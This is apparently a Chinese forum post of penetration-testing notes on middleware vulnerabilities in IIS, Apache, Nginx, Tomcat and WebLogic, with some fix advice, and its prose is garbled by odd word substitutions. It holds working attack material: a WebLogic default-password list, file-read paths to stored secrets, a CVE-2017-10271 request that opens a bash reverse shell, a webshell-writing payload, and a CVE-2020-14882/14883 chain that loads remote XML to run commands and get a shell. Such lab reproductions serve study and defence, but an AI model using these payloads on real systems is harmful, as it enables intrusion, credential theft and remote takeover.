ToB企服应用市场:ToB评测及商务社交产业平台

标题: 中间件常见毛病 [打印本页]

作者: 用户国营    时间: 2024-9-17 09:50
标题: 中间件常见毛病
中间件毛病

IIS

文件剖析毛病

IIS 5.x-6.x 剖析毛病

1:/xx.asp/xx.jpg 、/xx.asa/xx.jsp



2:xx.asp;.jpg



3:xx.asa、xx.cer、xx.cdx

其他文件后缀名剖析,被运维职员疏漏掉的名单。

下面解释一下文件后缀:


4:IIS.7/8 + CGI配置不妥=剖析毛病

这里很轻易和nginx的剖析毛病搞混,IIS单单cgi开启就大概导致毛病,而nginx需要共同配置文件不妥。
访问方式:webshell.jpg/xxx.php
与Nginx cgi开启配置不妥一同明白效果更好
(在IIS 中 需要配置很多东西,比较难出现,但是测试的时间发现在版本内不妨可以尝试一下,但是对于nginx,共同上nginx的配置不妥就影响很大了)

Apache

文件剖析毛病

apache剖析毛病

1:apache2.2版本剖析毛病



2:别的配置问题导致毛病

毛病原理:

影响版本:配置问题,无关版本
修复方案:
1.apache配置文件,禁止.php.这样的文件实行,配置文件里面加入
(php3 是防止其他文件后缀名也被剖析,这里用了 | 或符号,所以可以自行添加)
  1. <Files ~ “.(php.|php3.)”>
  2.         Order Allow,Deny
  3.         Deny from all
  4. </Files>
复制代码
2.用伪静态能办理这个问题,重写类似.php.*这类文件, 打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
步骤如下:
把httpd.conf文件内下图中的 #号去掉—>重启apache—>在网站根目次下建立.htaccess文件

3:黑名单绕过 .htaccess

毛病原理:
黑名单绕过 .htaccess 和 文件名叠加特性绕过(分布式配置文件)
精确控制能被剖析成php代码的文件,不轻易被发现
只要文件名匹配到所定义的字符串,就会将该文件看成php剖析
  1. 1 <FilesMatch "自定义.gif">
  2. 2 SetHandler application/x-httpd-php   #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
  3. 3 AddHandler php5-script .gif          #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
  4. 4 </FilesMatch>
复制代码
影响版本:上传绕过,无关配置

4:\0A HTTPD换行剖析毛病(CVE-2017-15715)

毛病分析说在前头:注意访问的时间需要添加上%0a,这一点很重要!
  1. CVE-2017-15715的出现是由于apache 在修复第一个后缀名解析漏洞时,
  2. 使用 正则表达式匹配后缀,在解析php时xxx.php\x0A 将被php后缀进行解析,
  3. 导致绕过一些服务器的安全策略,影响版本Apache HTTPd 2.4.0~2.4.29。
复制代码
毛病原理
apache这次剖析毛病的根本缘故起因为$,在正则表达式中,$用来匹配字符串末了位置。但是如果在HTTPD的配置中设置了RegExp对象的Multiline属性,则 $ 也匹配 \n 或 \r 。要匹配$字符自己,请使用 \$ 。就导致如果在上传文件时,在文件名背面添加一个十六进制的换行符 \x0A ,好比 1.php\x0A ,也能被正常剖析,并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名,就有大概存在该毛病。在影响版本中,默认的Apache配置即可使用
   
总而言之:是因为apache正则匹配可以匹配回车或换行符,当我们加上\x0a的时间php\x0a不在黑名单内,就是绕过黑名单检测,绕事后因为apache又能够且正常剖析,即能把.php\x0a当成php文件,因为\x0a是换行而不是后缀名中的最终剖析成功了。
说白了就是.php\x0a根本不在黑名单后缀名内,但是apache又能正常剖析,所以就导致了毛病。
  抓包通过修改文件名后十六进制加一个\x0A即可

注意访问的时间需要添加上%0a,这一点很重要!再提一遍!
影响版本:2.4.0~2.4.29

下面小小的总结一下以及贴出修复方案,apache上传木马文件思绪就是:
  1. 1:先看看是否是2.2版本之前。从右往左解析到有能解析的后缀名就解析,比如:test.php.xxx
  2. 2:或许运维人员配置了 AddHandler php5-script .php尝试上传xx.php.jpg等等只要包含又.php即可解析 。
  3. 3:又或者多尝试几个后缀名jpg/png/php1/php2/php3等等,或许运维人员就AddType application/x-httpd-php .jpg添加了这些扩展名为解析文件。
  4. 4:可以尝试上传.htaccess文件看是否能够成功上传​。
复制代码
以上就是apache常见的文件剖析毛病

Apache 2.4.49/2.4.50路径穿越(CVE-2021-41773/42013)

讲授之前肯定要记住,穿越的前提是需要知道访问的目次是一个存在且可访问的目次。这就是为什么大多数人复现的时间都带上了/icons/和/cgi-bin/文件夹

网上没看到有人讲为什么解码后不应该是…/然后举行判断的时间肯定是过不了的,为什么会造成这个毛病???

注意:这里我提问了gpt,给出的解释是因为解码后的url路径和举行判断的url路径值不一致,也就说解码后的路径没有用来判断,否则解码后的肯定是…/,举行判断的而是.%2e/所以导致判断后两个字符的时间出现了毛病。。。
GPT:解码后的路径大概并没有及时影响到路径检查的逻辑,导致原始的 %2e 和解码后的 . 在差别步骤中分别被处理,这正是导致毛病的根本缘故起因。



同理2.4.50版本后的毛病同样可以实现该效果


Nginx

文件剖析毛病

1:nginx配置不妥+cgi开启=剖析毛病


访问方式:webshell.jpg/xxx.php
(注:这里和IIS7/8的毛病一样 CGI配置不妥,一同明白效果更好,也是webshell.jsp/xx.php,但是nginx中需要再共同上nginx.conf配置不妥)
该毛病与nginx、php版本无关,属于配置不妥造成的剖析毛病。
php.ini配置文件中开启了cgi.fix_pathinfo,该值默以为1,表示开启。
   ​这是因为cgi.fix_pathinfo开启了,然后故意访问一个不存在的php后缀名文件,然后cgi.fix_pathinfo就会主动的向上一级目次访问,第一个访问的文件是php,所以接下来都会把文件当成php来剖析了。
  

但是我们加上一个不存在的文件,但是后缀名必须是php,然后cgi发现没有该文件,往前找就找到web,但是由于一开始是希望访问php的,所以直接把web.jpg当成php剖析了。这个毛病影响范围很大。

修复方案如下:
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0
2.在Nginx配置文件中添加以下代码:
  1. if ( $fastcgi_script_name ~ ..*/.*php ) {
  2. return 403;
  3. }
复制代码

2:%00 或 %20截断

nginx也有这个00截断毛病:www.xxxx.com/UploadFiles/image/1.jpg%00.php
xxx.jpg%00.php (因为在Nginx影响版本内存在空字节代码实行毛病)
http://.../1.jpg/%00\0.php
%00不行的话试试%20,%20也算是00截断的一种
  1. www.xxxx.com/UploadFiles/image/1.jpg%00.php
  2. #我们试过这个00截断,除了apache之外,nginx也有这个00截断漏洞,这个导致的效果是:1.jpg会被当成php文件来解析。
  3. www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php #这样也算是00截断的一种,不行的时候试试这种。
复制代码

CRLF注入(%0d%0a)

CRLF Injection 又叫 HTTP 响应拆分/截断
CRLF 是 CR 和 LF 两个字符的拼接,它们分别代表 “回车+换行”(\r\n)
十六进制编码分别为0x0d 和 0x0a

注:测试后发现%0d为回车不会换行,所以只填%0d是不成功的,可以看到就算两个%0d都是失败,因为%0d是回车,回车是回到开头,但因为location已在,所以无法删除location就追加在后头了。但是可以两个共同用,好比两个%0a%0dxxx%0a%0d这样,如果单个%0a方式失败可以试试%0a%0d两个一起上(%0d%0a的顺序不影响效果)


目次遍历(穿越)

这个经常会出现在nginx做反向代理的时间出现,就上面讲过的文件剖析毛病原理提到过的流程,就是动态的好比php文件nginx不会直接处理,是先交给后端,然后静态的就直接去目次下找文件。
(这里我们的挖掘毛病的时间可以翻一下静态存储文件的目次好比static之类的,可以尝试一下是否有目次穿越毛病)

Tomcat

文件上传毛病(CVE-2017-12615)


文件包含毛病(CVE-2020-1938)


弱口令导致war远程部署getshell


补充:
可以看到下面我访问的是/ok/fuck.jsp,很显着我打包zip包是ok.zip然后里面是fuck.jsp,然后上传的时间改后缀为ok.war,所以访问的时间得/ok/fuck.jsp,所以不要范围于上面一样的名字。(这里的解释以便后续复习)

Weblogic

弱口令

访问 /console,主动跳转到登录页面,以下是一些可尝试的weblogic弱口令

  1. weblogic/Oracle@123
  2. system/password
  3. weblogic/weblogic
  4. admin/security
  5. joe/password
  6. mary/password
  7. system/security
  8. wlcsystem/wlcsystem
  9. wlpisystem/wlpisystem
  10. weblogic/weblogic123
  11. weblogic/weblogic2
  12. system/password
  13. weblogic/weblogic
  14. admin/security
  15. joe/password
  16. mary/password
  17. system/security
  18. wlcsystem/wlcsystem
  19. wlpisystem/wlpisystem
  20. guest/guest
  21. portaladmin/portaladmin
  22. system/system
  23. WebLogic/WebLogic
复制代码

恣意文件读取毛病


复现如下
恣意文件读取:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
直接复制出来密钥:
(其实密钥上面的标签里面内容 weblogic 就是对应的用户名)
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

恣意文件读取:
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

选中内容右键生存在文件中

本应该填入密钥和密文文件就能解密来着,但是很遗憾我这里bp读取出来失败了,我还是去欣赏器下载了

这里下载下来的文件需要删除两个回车才能解密成功

填入密钥和密文文件

XMLDecoder反序列化毛病(CVE-2017-10271)



毛病复现
1.反弹shell

随便抓个包修改为POST,路径改为/wls-wsat/CoordinatorPortType
数据包如下所示
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.29.140:7001
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
  8. Connection: close
  9. Content-Type: text/xml
  10. Content-Length: 641
  11. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  12. <soapenv:Header>
  13. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  14. <java version="1.4.0" class="java.beans.XMLDecoder">
  15. <void class="java.lang.ProcessBuilder">
  16. <array class="java.lang.String" length="3">
  17. <void index="0">
  18. <string>/bin/bash</string>
  19. </void>
  20. <void index="1">
  21. <string>-c</string>
  22. </void>
  23. <void index="2">
  24. <string>bash -i &gt;&amp; /dev/tcp/192.168.29.140/4445 0&gt;&amp;1</string>
  25. </void>
  26. </array>
  27. <void method="start"/></void>
  28. </java>
  29. </work:WorkContext>
  30. </soapenv:Header>
  31. <soapenv:Body/>
  32. </soapenv:Envelope>
复制代码
此中反弹的ip地址和端口号自己修改

然后开启监听

发送后就会看到反弹返来的shell

2.植入webshell

抓包填入如下数据包
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.29.140:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 655
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  11.     <soapenv:Header>
  12.     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13.     <java><java version="1.4.0" class="java.beans.XMLDecoder">
  14.     <object class="java.io.PrintWriter">
  15.     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
  16.     <void method="println"><string>
  17.     <![CDATA[
  18. <% out.print("fxxxxxxxxxxxxxxxxxxxk"); %>
  19.     ]]>
  20.     </string>
  21.     </void>
  22.     <void method="close"/>
  23.     </object></java></java>
  24.     </work:WorkContext>
  25.     </soapenv:Header>
  26.     <soapenv:Body/>
  27. </soapenv:Envelope>
复制代码
自己修改这里的代码,可以写入webshell,这里就随便写入一个输出文件

访问的路径为:/bea_wls_internal/test.jsp

恣意文件上传毛病(CVE-2018-2894)


管理控制台未授权(CVE-2020-14882)


远程命令实行毛病(CVE-2020-14883)


  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5.     <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6.         <constructor-arg>
  7.           <list>
  8.             <value>bash</value>
  9.             <value>-c</value>
  10.             <value><![CDATA[touch /tmp/success2]]></value>
  11.           </list>
  12.         </constructor-arg>
  13.     </bean>
  14. </beans>
复制代码
把该文件放在weblogic能够访问的服务器上(缺点就是xml大概对于有waf限制的weblogic访问不到)

访问前检察一下确保不存在/tmp/success2文件

接着直接访问xml就会创建/tmp/success2文件
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.29.161/a.xml")

然后可以回到后台检察发现成功创建

因此可以通过该远程命令实行反弹shell
先监听

然后在服务器上写上反弹shell的xml文件

然后在毛病网站访问:http://192.168.29.140:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.29.161/b.xml%22)

然后就可以发现已经成功拿到shell了

未授权远程代码实行毛病(CVE-2023-21839)



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4